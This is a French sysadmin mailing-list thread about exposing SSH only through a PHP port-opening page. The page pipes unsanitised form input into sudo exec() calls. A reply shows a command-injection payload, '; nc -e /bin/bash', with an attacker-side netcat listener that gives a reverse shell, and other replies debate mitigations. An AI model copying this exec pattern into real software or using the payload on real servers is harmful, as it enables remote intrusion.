[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime
> Le 2 mai 2024 à 17:16, Ludovic Levet via FRsAG a écrit : > > > Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre > en place le mod_security d'apache avec les customs rules qui vont bien ... > > Et d'y ajouter le bon core rule set : > https://github.com/coreruleset/coreruleset > > J'ai quand même fait l'essai sans le mod_security et ta proposition ne > fonctionne pas ... > > Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd > C’est pas plutôt parce que la commande devient: sudo ipset ……; nc …… Donc le nc est lancé en dehors du sudo David ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime
Sans troller... Le minimum n'est-il pas de ne plus utiliser Apache (perfs totalement nazes + sécu non centralisée) ? -- Stéphane Rivière Ile d'Oléron - France ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime
Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ... Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ... Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd Ludo. Nop, ca marche pas. Le 02/05/2024 à 06:45, Julien Reitzel a écrit : Hello, au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc -e /bin/bash du côté attaquant lancer : $ nc -lvp Et voilà un reverse shell simpliste qui contourne l'auth ssh. -- - Ce message inclut une signature numérique. Il certifie que l'expéditeur et le contenue du message sont authentiques. Si votre logiciel de messagerie est compatible, Il doit garantir que le document n'a pas été altéré entre l'instant où l'auteur l'a signé et le moment où le lecteur le consulte. Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du Code civil. La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que votre client messagerie n'est pas compatible. - ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime
Bonjour à tous, dans tous les cas, il est nécessaire d'avoir un composant logiciel exposé au public, il me parrait préférable de se reposer sur du code trés surveillé comme ssh et sa partie authentification que sur un bout de php écrit en interne. Sans présumer de la qualité des personnes développant le script, les tests de sécurité faits sur openssh seront trés difficiles à égaler. Dernier point, un utilisateur apache ou www-data sudoer, ça me rappel de trés mauvais sauvenirs des années webmin. Cordialement, Luc. On 02/05/2024 09:04, David Ponzone wrote: Bien vu :) D’une manière générale, je me demandais s’il y avait quelque chose de rationnel qui permettait d’estimer qu’un serveur HTTP avait moins de chance de comporter de trou de sécurité que openssh, et que donc il était plus sûr de se reposer sur Apache/Neginx plutôt que sur openssh avec clé publique+2FA. David Le 2 mai 2024 à 06:45, Julien Reitzel a écrit : Hello, au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc -e /bin/bash du côté attaquant lancer : $ nc -lvp Et voilà un reverse shell simpliste qui contourne l'auth ssh. -- Julien. Le 01/05/2024 21:33, Ludovic LEVET via FRsAG a écrit : Heu ... Déjà : 1) Si tu as pas le vhost + url complete, ben t'arriveras déjà a rien ... 2) l'auth https + 2fa , oui pas de brute force dessus si configuré correctement (max retry 3, fail2ban ... )... 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle trouve le code de la porte , elle connaisse l’étage de ton appart et qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au ssh et ben il lui reste plus qu'a attaquer l'auth ssh ... Bon courage a la chauves-souris ... Ludo. Le 01/05/2024 à 20:47, David Ponzone a écrit : C’est pas une critique mais ça veut dire que tu fais plus confiance à l’auth HTTPS qu’à l’auth SSH ? David Le 1 mai 2024 à 20:34, Ludovic LEVET via FRsAG a écrit : Il ne faut jamais laisser le port ssh directement sur le net sans filtrage de la source ... Mettre en place par exemple un "site" web d'ouverture du/des ports. Par exemple un vhost : https://remoteadm.mydomain.com/server1/ Mise en place : Créer un vhost sur le serveur (beaucoup mieux : créer un vhost sur un serveur tiers qui renvoie les requêtes par ProxyPass apres authentification) Ce serveur est configuré pour donner l’accès à la ressource web par user/password + 2fa Sur le serveur de destination (donc pas le frontal plus haut mais celui concerné par la demande d'ouverture de ports): Dans /etc/rc.local (ou equivalent en service) ipset create trusted-ip hash:net family inet iptables -A INPUT -i eth0 -d x.x.x.x -m set --match-set trusted-ip src -p tcp -m multiport --dport 22,25 -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -p icmp -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -j DROP #Restoration des IPs autorisées au boot : /var/www/dummy/trusted-ip.sh cat /etc/sudoers.d/httpd apache ALL=(ALL) NOPASSWD:/usr/sbin/ipset apache ALL=(ALL) NOPASSWD:/usr/bin/echo apache ALL=(ALL) NOPASSWD:/usr/bin/sed exemple de la page index.php sur le serveur distant : cat /var/www/vpn/index.php IP Detection : http://checkip.dyndns.org; target="popup" onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100'); return false;"> Verify on checkip site "; echo ""; echo " IP address detected : "; echo " "; echo " "; echo ""; echo ""; echo " IP address to remove : "; echo " "; echo " "; echo ""; if (isset($_POST['validation'])) { $ip = $_POST['fname']; $return = exec("sudo echo 'ipset add trusted-ip '$ip >> /var/www/dummy/trusted-ip.sh"); $return = exec("sudo ipset add trusted-ip $ip 2>&1"); echo "$ip is trusted now"; } if (isset($_POST['removing'])) { $ip = $_POST['fname']; $return = exec("sudo sed -i '/$ip$/d' /var/www/dummy/trusted-ip.sh"); $return = exec("sudo ipset del trusted-ip $ip 2>&1"); echo "$ip is delete now"; } if (isset($_POST['clean'])) { $return = exec("sudo ipset flush trusted-ip 2>&1"); } echo ""; $list = shell_exec("sudo ipset list trusted-ip"); echo nl2br($list); echo ""; echo ""; echo " "; echo ""; ?> C'est juste un exemple que j’utilise depuis des années. Le serveur frontal https gère les autorisations et renvoie la demande par ProxyPass au serveur concerné via la directive Un seul frontal suffit pour plusieurs serveurs : Serveur 1 : https://remoteadm.mydomain.com/serveur1/ Serveur 2 : https://remoteadm.mydomain.com/serveur2/ ... Ludo. Le 30/04/2024 à 15:34, Louis G. via FRsAG a écrit : Filtrer les IP autorisées à se connecter, tout simplement ? :) iptables -A INPUT -s 1.2.3.4/32 -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP Mouarf, je suis pas fan. Si on autorise le télétravail (mais qui fait ça en 2024 ? ), alors l’IP des admins est rarement fixe, donc ça impose de monter un VPN pour
[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime
Bien vu :) D’une manière générale, je me demandais s’il y avait quelque chose de rationnel qui permettait d’estimer qu’un serveur HTTP avait moins de chance de comporter de trou de sécurité que openssh, et que donc il était plus sûr de se reposer sur Apache/Neginx plutôt que sur openssh avec clé publique+2FA. David > Le 2 mai 2024 à 06:45, Julien Reitzel a écrit : > > Hello, > > au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : > ; nc -e /bin/bash > > du côté attaquant lancer : > $ nc -lvp > > Et voilà un reverse shell simpliste qui contourne l'auth ssh. > > > -- > Julien. > > Le 01/05/2024 21:33, Ludovic LEVET via FRsAG a écrit : >> Heu ... >> Déjà : >> 1) Si tu as pas le vhost + url complete, ben t'arriveras déjà a rien ... >> 2) l'auth https + 2fa , oui pas de brute force dessus si configuré >> correctement (max retry 3, fail2ban ... )... >> 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle >> trouve le code de la porte , elle connaisse l’étage de ton appart et >> qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au >> ssh et ben il lui reste plus qu'a attaquer l'auth ssh ... >> Bon courage a la chauves-souris ... >> Ludo. >> Le 01/05/2024 à 20:47, David Ponzone a écrit : >>> C’est pas une critique mais ça veut dire que tu fais plus confiance à >>> l’auth HTTPS qu’à l’auth SSH ? >>> David Le 1 mai 2024 à 20:34, Ludovic LEVET via FRsAG a écrit : Il ne faut jamais laisser le port ssh directement sur le net sans filtrage de la source ... Mettre en place par exemple un "site" web d'ouverture du/des ports. Par exemple un vhost : https://remoteadm.mydomain.com/server1/ Mise en place : Créer un vhost sur le serveur (beaucoup mieux : créer un vhost sur un serveur tiers qui renvoie les requêtes par ProxyPass apres authentification) Ce serveur est configuré pour donner l’accès à la ressource web par user/password + 2fa Sur le serveur de destination (donc pas le frontal plus haut mais celui concerné par la demande d'ouverture de ports): Dans /etc/rc.local (ou equivalent en service) ipset create trusted-ip hash:net family inet iptables -A INPUT -i eth0 -d x.x.x.x -m set --match-set trusted-ip src -p tcp -m multiport --dport 22,25 -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -p icmp -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -j DROP #Restoration des IPs autorisées au boot : /var/www/dummy/trusted-ip.sh cat /etc/sudoers.d/httpd apache ALL=(ALL) NOPASSWD:/usr/sbin/ipset apache ALL=(ALL) NOPASSWD:/usr/bin/echo apache ALL=(ALL) NOPASSWD:/usr/bin/sed exemple de la page index.php sur le serveur distant : cat /var/www/vpn/index.php IP Detection : http://checkip.dyndns.org; target="popup" onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100'); return false;"> Verify on checkip site >>> $ip = $_SERVER['REMOTE_ADDR']; echo ""; echo ""; echo " IP address detected : "; echo " "; echo " "; echo ""; echo ""; echo " IP address to remove : "; echo " "; echo " "; echo ""; if (isset($_POST['validation'])) { $ip = $_POST['fname']; $return = exec("sudo echo 'ipset add trusted-ip '$ip >> /var/www/dummy/trusted-ip.sh"); $return = exec("sudo ipset add trusted-ip $ip 2>&1"); echo "$ip is trusted now"; } if (isset($_POST['removing'])) { $ip = $_POST['fname']; $return = exec("sudo sed -i '/$ip$/d' /var/www/dummy/trusted-ip.sh"); $return = exec("sudo ipset del trusted-ip $ip 2>&1"); echo "$ip is delete now"; } if (isset($_POST['clean'])) { $return = exec("sudo ipset flush trusted-ip 2>&1"); } echo ""; $list = shell_exec("sudo ipset list trusted-ip"); echo nl2br($list); echo ""; echo ""; echo " "; echo ""; ?> >>> onClick="location.replace('index.php');"> C'est juste un exemple que j’utilise depuis des années. Le serveur frontal https gère les autorisations et renvoie la demande par ProxyPass au serveur concerné via la directive Un seul frontal suffit pour plusieurs serveurs : Serveur 1 : https://remoteadm.mydomain.com/serveur1/ Serveur 2 : https://remoteadm.mydomain.com/serveur2/ ... Ludo. Le 30/04/2024 à 15:34, Louis G. via FRsAG a écrit : >> Filtrer les IP autorisées à se connecter, tout simplement ? :) >> iptables -A INPUT -s 1.2.3.4/32 -p tcp --dport 22 -j ACCEPT >> iptables -A INPUT -p tcp --dport 22 -j DROP > Mouarf, je suis pas fan. Si on autorise le télétravail (mais qui fait ça > en 2024 ? ),
[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime
Hello, au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc -e /bin/bash du côté attaquant lancer : $ nc -lvp Et voilà un reverse shell simpliste qui contourne l'auth ssh. -- Julien. Le 01/05/2024 21:33, Ludovic LEVET via FRsAG a écrit : Heu ... Déjà : 1) Si tu as pas le vhost + url complete, ben t'arriveras déjà a rien ... 2) l'auth https + 2fa , oui pas de brute force dessus si configuré correctement (max retry 3, fail2ban ... )... 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle trouve le code de la porte , elle connaisse l’étage de ton appart et qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au ssh et ben il lui reste plus qu'a attaquer l'auth ssh ... Bon courage a la chauves-souris ... Ludo. Le 01/05/2024 à 20:47, David Ponzone a écrit : C’est pas une critique mais ça veut dire que tu fais plus confiance à l’auth HTTPS qu’à l’auth SSH ? David Le 1 mai 2024 à 20:34, Ludovic LEVET via FRsAG a écrit : Il ne faut jamais laisser le port ssh directement sur le net sans filtrage de la source ... Mettre en place par exemple un "site" web d'ouverture du/des ports. Par exemple un vhost : https://remoteadm.mydomain.com/server1/ Mise en place : Créer un vhost sur le serveur (beaucoup mieux : créer un vhost sur un serveur tiers qui renvoie les requêtes par ProxyPass apres authentification) Ce serveur est configuré pour donner l’accès à la ressource web par user/password + 2fa Sur le serveur de destination (donc pas le frontal plus haut mais celui concerné par la demande d'ouverture de ports): Dans /etc/rc.local (ou equivalent en service) ipset create trusted-ip hash:net family inet iptables -A INPUT -i eth0 -d x.x.x.x -m set --match-set trusted-ip src -p tcp -m multiport --dport 22,25 -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -p icmp -j ACCEPT iptables -A INPUT -i eth0 -d x.x.x.x -j DROP #Restoration des IPs autorisées au boot : /var/www/dummy/trusted-ip.sh cat /etc/sudoers.d/httpd apache ALL=(ALL) NOPASSWD:/usr/sbin/ipset apache ALL=(ALL) NOPASSWD:/usr/bin/echo apache ALL=(ALL) NOPASSWD:/usr/bin/sed exemple de la page index.php sur le serveur distant : cat /var/www/vpn/index.php IP Detection : http://checkip.dyndns.org; target="popup" onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100'); return false;"> Verify on checkip site "; echo ""; echo " IP address detected : "; echo " "; echo " "; echo ""; echo ""; echo " IP address to remove : "; echo " "; echo " "; echo ""; if (isset($_POST['validation'])) { $ip = $_POST['fname']; $return = exec("sudo echo 'ipset add trusted-ip '$ip >> /var/www/dummy/trusted-ip.sh"); $return = exec("sudo ipset add trusted-ip $ip 2>&1"); echo "$ip is trusted now"; } if (isset($_POST['removing'])) { $ip = $_POST['fname']; $return = exec("sudo sed -i '/$ip$/d' /var/www/dummy/trusted-ip.sh"); $return = exec("sudo ipset del trusted-ip $ip 2>&1"); echo "$ip is delete now"; } if (isset($_POST['clean'])) { $return = exec("sudo ipset flush trusted-ip 2>&1"); } echo ""; $list = shell_exec("sudo ipset list trusted-ip"); echo nl2br($list); echo ""; echo ""; echo " "; echo ""; ?> onClick="location.replace('index.php');"> C'est juste un exemple que j’utilise depuis des années. Le serveur frontal https gère les autorisations et renvoie la demande par ProxyPass au serveur concerné via la directive Un seul frontal suffit pour plusieurs serveurs : Serveur 1 : https://remoteadm.mydomain.com/serveur1/ Serveur 2 : https://remoteadm.mydomain.com/serveur2/ ... Ludo. Le 30/04/2024 à 15:34, Louis G. via FRsAG a écrit : Filtrer les IP autorisées à se connecter, tout simplement ? :) iptables -A INPUT -s 1.2.3.4/32 -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP Mouarf, je suis pas fan. Si on autorise le télétravail (mais qui fait ça en 2024 ? ), alors l’IP des admins est rarement fixe, donc ça impose de monter un VPN pour passer par l’IP du bureau. Et quitte à monter un VPN, autant ne plus exposer le SSH sur Internet. Tu peux éventuellement restreindre à des CIDR genre ceux des BOFS, mais faut le maintenir (et ça empêche pas tous les scans). De toute façon le LAN admin isolé d’Internet, ça devrait faire partie des pratiques de base appliquées en 2024 Louis ___ Liste de diffusion du %(real_name)s http://www.frsag.org/ -- - Ce message inclut une signature numérique. Il certifie que l'expéditeur et le contenue du message sont authentiques. Si votre logiciel de messagerie est compatible, Il doit garantir que le document n'a pas été